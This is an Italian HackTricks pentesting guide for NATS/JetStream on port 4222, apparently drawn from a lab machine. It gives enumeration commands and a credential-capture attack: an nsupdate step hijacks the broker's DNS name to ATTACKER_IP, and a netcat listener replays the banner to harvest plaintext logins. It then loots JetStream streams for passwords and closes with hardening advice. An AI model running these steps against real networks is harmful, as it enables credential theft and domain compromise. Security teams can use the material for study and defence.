4222 - Pentesting NATS / JetStream

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

NATS è un bus di messaggi ad alte prestazioni che utilizza un semplice protocollo testuale: il server trasmette un banner JSON INFO { ... } immediatamente dopo la connessione TCP, e il client risponde con un frame CONNECT {"user":"USERNAME","pass":"PASSWORD",...} seguito dai comandi opzionali PING/PUB/SUB. JetStream aggiunge primitive di persistenza (Streams & Consumers) sopra lo stesso porto TCP (4222/tcp). TLS e l’autenticazione sono opzionali, quindi molte distribuzioni interne girano con plaintext AUTH.

  • Porta predefinita: 4222/tcp (4223+ per le rotte del cluster)
  • Campi del banner di default: "version", "auth_required", "jetstream", "max_payload", "tls_required"

Enumerazione

nmap -p4222 -sV --script banner TARGET
# Sample output
# 4222/tcp open  nats  NATS.io gnatsd 2.11.3
# | banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}

Il frame INFO può anche essere estratto manualmente:

echo | nc HOST 4222
INFO {"server_id":"NCLWJ...","version":"2.11.3","auth_required":true,"jetstream":true}
-ERR 'Authorization Violation'

Installa la CLI ufficiale (Go ≥1.21) per un’interazione più approfondita:

go install github.com/nats-io/natscli/nats@latest
nats -s nats://HOST:4222 rtt

I fallimenti di autenticazione generano immediatamente nats: Authorization Violation, quindi sono necessarie creds valide per qualsiasi RPC significativo.

Credential capture via DNS/service impersonation

  • Individua voci AD DNS obsolete per l’hostname del broker (es. nats-svc.domain.local). Se il record restituisce NXDOMAIN, un utente di dominio con privilegi ridotti può ricrearlo grazie alle ACL predefinite di dynamic-update. Vedi AD DNS Records abuse per il contesto.
  • Registra l’hostname su un IP controllato dall’attaccante:
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send
  • Specchia il banner legittimo una volta, poi riproducilo per ogni client che si connette. NATS si fida della prima riga INFO che vede, quindi dobbiamo solo passarla attraverso un listener:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222
  • Non appena un client interno risolve il nome dirottato, emetterà un frame in chiaro CONNECT contenente la coppia user / pass e varie telemetrie (nome client, Go version, livello del protocollo). Poiché non è richiesto nulla oltre il banner INFO, anche nc è sufficiente per raccogliere i segreti.
  • Per engagement di lunga durata, esegui il server ufficiale in locale (git clone https://github.com/nats-io/nats-server && go build && ./nats-server -V). Il logging TRACE mostra già gli username; rimuovendo l’helper per la redaction o sniffando il traffico con Wireshark si rivela la password completa.

JetStream looting & password hunting

Una volta recuperata una qualsiasi credenziale (es. Dev_Account_A), salvala come contesto CLI per evitare di ridigitare:

nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'

La scoperta di JetStream di solito segue questo schema:

nats account info --context mirage      # quotas, stream count, expiration
nats stream list --context mirage       # names + message totals
nats stream info auth_logs --context mirage
nats stream view auth_logs --context mirage

I team di streaming spesso registrano eventi di autenticazione in subject come logs.auth. Se gli sviluppatori persistono il raw JSON in uno stream JetStream, i payloads possono includere plaintext AD usernames and passwords:

{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}

I segreti trattenuti possono quindi essere riprodotti contro servizi Kerberos-only usando netexec smb DC01 -u USER -p PASS -k, permettendo il compromesso completo del dominio.

Hardening & detection

  • Forzare TLS (tls, tls_required, or mTLS via nkey/creds). Senza crittografia, INFO/CONNECT leaks credentials a chiunque on-path.
  • Individuare chi può aggiornare DNS – delegare i service records ad account dedicati e auditare Event IDs 257/252 per hostname ad alto valore. Attivare avvisi di scavenging in modo che i nomi dei broker mancanti non possano essere silenziosamente ri-rivendicati.
  • Disabilitare il logging delle credentials. Sanitizzare i secrets prima di pubblicarli su subjects, impostare limiti di retention/age su JetStream e applicare deny_delete=false solo ad operatori trusted.
  • Monitorare anomalie nei banner – connessioni ripetute e di breve durata, timeout di autenticazione, o INFO banners che non corrispondono al template approvato suggeriscono server spoofed.

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks